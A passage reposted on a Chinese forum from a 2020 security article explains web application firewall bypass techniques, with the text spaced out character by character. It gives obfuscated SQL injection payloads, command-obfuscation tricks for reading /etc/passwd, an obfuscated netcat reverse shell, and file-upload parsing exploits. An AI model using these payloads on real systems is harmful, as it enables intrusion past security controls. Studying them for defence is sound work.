搜索

[27349] 2020-07-29_waf绕过拍了拍你

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2020-07-29_waf绕过拍了拍你 w a f 绕 过 拍 了 拍 你 N e a r S e c   2 0 2 0 - 0 7 - 2 9 以 下 文 章 来 源 于 酒 仙 桥 六 号 部 队   ， 作 者 队 员 编 号 0 4 8 这 是   酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   的 第   4 8   篇 文 章 。 全 文 共 计 4 3 8 0 个 字 ， 预 计 阅 读 时 长 1 5 分 钟 。 前 言 前 言 一 个 安 静 的 下 午 ， 和 往 常 一 样 ， 逛 着 各 大 安 全 论 坛 ， 翻 看 新 出 的 漏 洞 资 讯 ， 等 待 着 下 班 。 然 而 ， 一 声 不 同 寻 常 的 微 信 消 息 提 示 音 突 然 在 我 耳 边 响 起 。 我 立 马 打 开 微 信 看 看 是 谁 在 这 个 时 候 找 我 。 酒 仙 桥 六 号 部 队 酒 仙 桥 六 号 部 队   . 知 其 黑 ， 守 其 白 。   分 享 知 识 盛 宴 ， 闲 聊 大 院 趣 事 ， 备 好 酒 肉 等 你 ！
妹 子 的 要 求 不 敢 拒 绝 ， 身 为 菜 鸡 的 我 准 备 立 马 去 学 习 一 波 w a f 绕 过 姿 势 。
知 己 知 彼 ， 了 解 什 么 是 知 己 知 彼 ， 了 解 什 么 是 w a f 身 为 一 名 合 格 的 渗 透 测 试 人 员 ， 想 要 绕 过 w a f ， 我 们 就 先 得 先 了 解 什 么 是 w a f 。 W a f   =   W e b   A p p l i c a t i o n   F i r e w a l l   ， w e b 应 用 防 火 墙 ， 简 单 来 说 就 是 在 h t t p 协 议 层 面 对 我 们 的 数 据 包 进 行 检 测 ， 如 果 发 现 了 可 能 是 带 有 攻 击 性 的 语 句 ， 就 会 进 行 拦 截 。 为 了 不 让 w a f 发 现 我 们 的 意 图 ， 我 们 通 常 可 以 利 用 以 下 几 种 方 式 绕 过 w a f 检 测 。 对 抗 规 则 绕 过 对 抗 规 则 绕 过 原 理 ： 匹 配 不 到 恶 意 语 句 就 不 会 拦 截 。 对 关 键 字 进 行 不 同 编 码 对 关 键 字 进 行 不 同 编 码 对 关 键 字 进 行 大 小 写 变 换 对 关 键 字 进 行 大 小 写 变 换 通 过 其 他 语 义 相 同 的 关 键 字 替 换 通 过 其 他 语 义 相 同 的 关 键 字 替 换 除 了 通 过 编 码 等 价 替 换 等 方 式 绕 过 检 测 ， 我 们 还 能 配 合 目 标 特 性 实 现 绕 过 检 测 。 配 合 配 合 W i n d o w s 特 性 特 性 s e l e c t   *   f r o m   z z z   =   s e l e c t   *   f r o m     % 2 5 7 a % 2 5 7 a % 2 5 7 a     / / u r l 编 码 单 引 号   =   % u 0 0 2 7 、 % u 0 2 b 9 、 % u 0 2 b c       / /   U n i c o d e 编 码 a d m i n u s e r   =   0 x 6 1 6 4 6 D 6 9 6 E 7 5 7 3 6 5 7 2   / /   部 分 十 六 进 制 编 码 空 格   =   % 2 0   % 0 9   % 0 a   % 0 b   % 0 c   % 0 d   % a 0     / / 各 类 编 码 U n i o n   s e l e c t   =   u N I o N   s E L e c T A n d   =   & & O r   =   | | 等 于   =   l i k e   或 综 合 < 与 > 判 断 i f ( a , b , c )   =   c a s e   w h e n ( A )   t h e n   B   e l s e   C   e n d s u b s t r ( s t r , 1 , 1 )   =   s u b s t r   ( s t r )   f r o m   1   f o r   1 l i m i t   1 , 1   =   l i m i t   1   o f f s e t   1 U n i o n   s e l e c t   1 , 2   =   u n i o n   s e l e c t   *   f r o m   ( ( s e l e c t   1 ) A   j o i n   ( s e l e c t   2 ) B ; h e x ( ) 、 b i n ( )   =   a s c i i ( ) s l e e p ( )   =   b e n c h m a r k ( ) c o n c a t _ w s ( )   =   g r o u p _ c o n c a t ( ) m i d ( ) 、 s u b s t r ( )   =   s u b s t r i n g ( ) @ @ u s e r   =   u s e r ( ) @ @ d a t a d i r   =   d a t a d i r ( ) w h o a m i   =   ( ( ( ( W h ^ o ^ a m " " i ) ) ) )             / / 利 用 符 号 分 割 字 符 执 行 w h o a m i
配 合 配 合 L i n u x 特 性 特 性 S h e l l 反 弹 也 可 以 配 合 特 性 使 用 。 w h o a m i   =   s e t   a = n e t & & b = u s e r & & c a l l   % a % % b %       / / 利 用 变 量 分 割 关 键 字 执 行 w h o a m i s e t   a = 1 2 3 w h o a m i 4 5 6             / /   为 了 方 便 演 示 这 里 设 置 一 个 变 量 e c h o   % a : ~ 3 , 6 %                     / /   取 出 变 量 a 的 第 3 位 开 始 共 计 6 个 字 符 % a : ~ 3 , 6 %                                 / / 执 行 取 出 的 值 ， 通 过 截 取 系 统 变 量 然 后 拼 接 可 以 绕 过 大 部 分 检 测 w h o a m i   =   w ' h ' o ' a ' m " i "     / / 单 引 号 或 双 引 号 连 接 符 ， 需 要 闭 合 C a t   / e t c / p a s s w d   =   c a t   / ? t * / ? ? s s * *     / / ? , * 通 配 符   w h o a m i   =   / b [ 1 2 3 1 2 i ] n / w [ 2 3 s h ] o a [ 2 m s h ] i   / / [ ]   通 配 符 ， 匹 配 【 】 中 的 字 符 W h o a m i   =   a = w h o & & b = a m i & & $ a $ b           / / 当 然 l i n u x 下 也 可 以 变 量 拼 接 c a t   / . . / . . / e t c / p a s s w d   = c d   . . & & c d   . . & & c d   e t c & & c a t   p a s s w d     / / 目 录 穿 越 ,   / 被 拦 截 n c   - e   / b i n / b a s h   1 2 7 . 0 . 0 . 1   1 2 3 4   = / ? ? n / ? c   - e   / ? ? n / b ? ? h   2 1 3 0 7 0 6 4 3 3   1 2 3 4   / / （ 1 2 7 . 0 . 0 . 1   →   2 1 3 0 7 0 6 4 3 3 ）
配 合 配 合 M y s q l 特 性 特 性 / * * / 数 据 库 注 释 符 ， 中 间 部 分 被 注 释 ， 可 用 于 截 断 关 键 字 ， 干 扰 w a f 匹 配 。 / * ! * / 内 敛 注 释 ， 中 间 部 分 继 续 执 行 ， m y s q l 特 有 。 % 0 a 换 行 与 # 单 行 注 释 符 配 合 使 用 。 配 合 过 滤 代 码 或 漏 洞 本 身 配 合 过 滤 代 码 或 漏 洞 本 身 关 键 字 被 过 滤 ， 双 写 关 键 字 。 通 过 c h r ( ) 函 数 变 换 关 键 字 。 通 过 b a s e _ c o n v e r t ( )   函 数 变 换 关 键 字 。 h t t p 协 议 绕 过 协 议 绕 过 原 理 ： 理 解 不 了 恶 意 语 句 就 不 会 拦 截 。 C o n t e n t - T y p e 绕 过 绕 过 有 的 w a f   识 别 到 C o n t e n t - T y p e 类 型 为 m u l t i p a r t / f o r m - d a t a 后 ， 会 将 它 认 为 是 文 件 上 传 请 求 ， 从 而 不 检 测 其 他 种 类 攻 击 只 检 测 文 件 上 传 ， 导 致 被 绕 过 。 H T T P 请 求 方 式 绕 过 请 求 方 式 绕 过 w a f 在 对 危 险 字 符 进 行 检 测 的 时 候 ， 分 别 为 p o s t 请 求 和 g e t 请 求 设 定 了 不 同 的 匹 配 规 则 ， 请 求 被 拦 截 ， 变 换 请 求 方 式 有 几 率 能 绕 过 检 测 。 P s : 云 锁 / 安 全 狗 安 装 后 默 认 状 态 对 p o s t 请 求 检 测 力 度 较 小 ， 可 通 过 变 换 请 求 方 式 绕 过 。 参 数 污 染 绕 过 参 数 污 染 绕 过 由 于 h t t p 协 议 允 许 同 名 参 数 的 存 在 ， 同 时 w a f 的 处 理 机 制 对 同 名 参 数 的 处 理 方 式 不 同 ， 造 成 “ 参 数 污 染 ” 。 不 同 的 服 务 器 搭 配 会 对 传 递 的 参 数 解 析 出 不 同 的 值 。 配 合 w a f 与 中 间 件 对 参 数 解 析 位 置 不 同 ， 可 能 绕 过 w a f 。 解 析 特 性 绕 过 解 析 特 性 绕 过 原 理 ： 利 用 w a f 与 后 端 服 务 器 的 解 析 不 一 致 。 I i s 5 . 0 - 6 . 0 解 析 漏 洞 I i s 7 . 5 解 析 漏 洞 ( p h p . i n i 开 启 f i x _ p a t h i n f o ) a p a c h e 解 析 漏 洞 n g i n x 解 析 漏 洞 ( p h p . i n i 开 启 f i x _ p a t h i n f o ) 多 多 C o n t e n t - D i s p o s i t i o n 绕 过 绕 过 请 求 包 中 包 含 多 个 C o n t e n t - D i s p o s i t i o n 时 ， 中 间 件 与 w a f 取 值 不 同 。 U s e r ( )   =   u s e r / * * / ( )       / /     注 释 符 / * * / 也 可 以 用 于 替 换 空 格 U n i o n   s e l e c t   =   / * 9 5 5 5 4 * / U n i o n / * t e s t 1 2 3 * / s e l e c t U s e r ( )   =   / * ! u s e r / * 1 2 3 * / ( ) * /       / /     / * ! * / 内 部 继 续 执 行 U n i o n   s e l e c t   =   / * ! u n i o n * / / * 1 2 3 * / / * ! s e l e c t * /       / / 组 合 U n i o n   s e l e c t   =   u n i o n # A % 0 a s e l e c t   / / 用 # 注 释 ， 再 用 % 0 a 逃 出 注 释 继 续 执 行 后 面 语 句 a n d   =   a n a n d d             / / 将 关 键 字 过 滤 掉 后 剩 下 的 内 容 组 成 新 的 关 键 字 p h p i n f o ( )   =   c h r   ( 8 0 ) . c h r   ( 7 2 ) . c h r   ( 8 0 ) . c h r   ( 7 3 ) . c h r   ( 7 8 ) . c h r   ( 7 0 ) . c h r   ( 7 9 ) . c h r   ( 4 0 ) . c h r   ( 4 1 )       / / 将 a c s i i 码 通 过 c h r ( ) 函 数 转 换 回 来 p h p i n f o   =   b a s e _ c o n v e r t ( 2 7 4 4 0 7 9 9 2 2 4 , 1 0 , 3 2 )     / / 从 1 0 进 制 转 换 成 3 2 进 制 a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d   è   m u l t i p a r t / f o r m - d a t a 提 交 的 参 数 为 ： ? i d = 1 & i d = 2 & i d = e x p a s p . n e t + i i s : i d = 1 , 2 , e x p a s p + i i s : i d = 1 , 2 , e x p p h p + a p a c h e : i d = e x p . a s p   - - >   / x x . a s p / x x . j p g     / / . a s p ， . a s a 目 录 下 的 文 件 都 解 析 成 a s p 文 件 . a s p   - - >   x x . a s p ; . j p g           / / 服 务 器 默 认 不 解 析 ; 号 后 面 的 内 容 . p h p   - - >   / x x . j p g                   / / 上 传 . j p g 一 句 话 ， 访 问 时 后 面 加 上 / x x . p h p   . p h p   - - >   / t e s t . p h p . p h p 1 2 3           / / 从 右 往 左 ， 能 别 的 后 缀 开 始 解 析 . p h p   - - >   x x x . j p g % 0 0 . p h p             / / N g i n x   < 8 . 0 3   空 字 节 代 码 执 行 漏 洞
解 析 兼 容 性 绕 过 解 析 兼 容 性 绕 过 在 h t t p 协 议 中 ， 标 准 的 文 件 名 的 形 式 为 f i l e n a m e = ” 1 . p h p ” , 但 是 w e b 容 器 会 在 解 析 协 议 时 做 一 些 兼 容 ， 文 件 上 传 时 ， 有 的 w a f 只 按 照 标 准 协 议 去 解 析 ， 解 析 不 到 文 件 名 ， 从 而 被 绕 过 。 k e e p - a l i v e （ （ P i p e l i n e ） 绕 过 ） 绕 过 原 理 : h t t p 请 求 头 部 中 有 C o n n e c t i o n 这 个 字 段 ， 建 立 的 t c p 连 接 会 根 据 此 字 段 的 值 来 判 断 是 否 断 开 ， 我 们 可 以 手 动 将 此 值 置 为 k e e p - a l i v e ， 然 后 在 h t t p 请 求 报 文 中 构 造 多 个 请 求 ， 将 恶 意 代 码 隐 藏 在 第 n 个 请 求 中 ， 从 而 绕 过 w a f 。 发 送 两 个 请 求 ， 但 绕 过 失 败 ， 被 云 锁 拦 截 ， 此 种 方 法 现 在 基 本 失 效 。 分 块 传 输 绕 过 分 块 传 输 绕 过 原 理 : 分 块 编 码 传 输 将 关 键 字 a n d , o r , s e l e c t   , u n i o n 等 关 键 字 拆 开 编 码 ， 绕 过 w a f 等 安 全 设 备 的 检 测 ， 但 无 法 绕 过 代 码 本 身 的 检 测 。 f i l e n a m e = " t e s t . p h p     f i l e n a m e = t e s t . p h p     f i l e n a m e = ‘ t e s t . p h p ‘
修 改 编 码 方 式 ： 修 改 编 码 方 式 ： C h a r s e t 绕 过 绕 过 原 理 : 大 部 分 的 W A F 默 认 用 U T F 8 编 码 检 测 ， 修 改 编 码 方 式 可 能 会 绕 过 w a f ， 例 如 设 置 c h a r s e t 为 i b m 0 3 7 。 W a f 检 测 限 制 绕 过 检 测 限 制 绕 过 原 理 ： 超 出 w a f 检 测 能 力 部 分 不 会 拦 截 。 参 数 溢 出 参 数 溢 出 原 理 : 通 过 增 加 传 递 得 参 数 数 量 ， 达 到 w a f 检 测 上 限 ， 超 出 的 参 数 就 可 绕 过 w a f 了 。 可 绕 一 些 轻 量 级 w a f ， 如 p h p s t u d y 自 带 w a f 。 设 置 拦 截 关 键 字 ： 添 加 参 数 数 量 ， 成 功 绕 过 。
缓 冲 区 溢 出 缓 冲 区 溢 出 原 理 : 当 服 务 器 可 以 处 理 的 数 据 量 大 于 w a f 时 ， 这 种 情 况 可 以 通 过 发 送 大 量 的 垃 圾 数 据 将   W A F   溢 出 ， 从 而 绕 过 w a f 。 网 络 结 构 绕 过 网 络 结 构 绕 过 原 理 ： 不 经 过 安 全 设 备 就 不 会 拦 截 。 源 源 i p 绕 过 绕 过 原 理 ： 直 接 对 源 地 址 发 起 攻 击 ， 流 量 不 会 经 过 w a f ， 从 而 成 功 绕 过 。 正 常 访 问 流 量 攻 击 者 流 量 U n I o N   S e L e C T   =   a n d   ( s e l e c t   1 ) = ( S e l e c t   0 x A * 9 9 9 9 9 )   U n I o N   S e L e C T     a n d   1 = 1   =   a n d   1 = 1   a n d   9 9 … 9 9 9 9 9       / / 此 处 省 略 N 多 个 9
同 网 段 同 网 段 / s s r f 绕 过 绕 过 同 理 ,   因 同 网 段 的 流 量 属 于 局 域 网 ， 可 能 不 经 过 w a f 的 检 测 。
通 过 服 务 器 A 自 身 或 B 的 s s r f 漏 洞 ， 从 网 络 内 部 发 起 攻 击 流 量 。 学 以 致 用 （ 云 锁 绕 过 实 战 ） 学 以 致 用 （ 云 锁 绕 过 实 战 ） 为 了 在 帮 妹 子 绕 过 的 时 候 不 掉 链 子 ， 咱 们 还 是 简 单 的 来 过 一 过 云 锁 ， 看 看 学 到 的 方 法 到 底 在 实 际 情 况 中 有 没 有 利 用 价 值 。 环 境 介 绍 环 境 介 绍 环 境 ：     m y s q l + a p a c h e + p h p 云 锁 版 本 ： 公 有 云 版 L i n u x _ 3 . 1 . 2 0 . 1 5 更 新 日 期 ： 2 0 2 0 - 0 4 - 2 7 测 试 过 程     为 了 更 好 的 模 拟 攻 击 ， 下 面 是 为 测 试 编 写 的 1 8 行 代 码 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理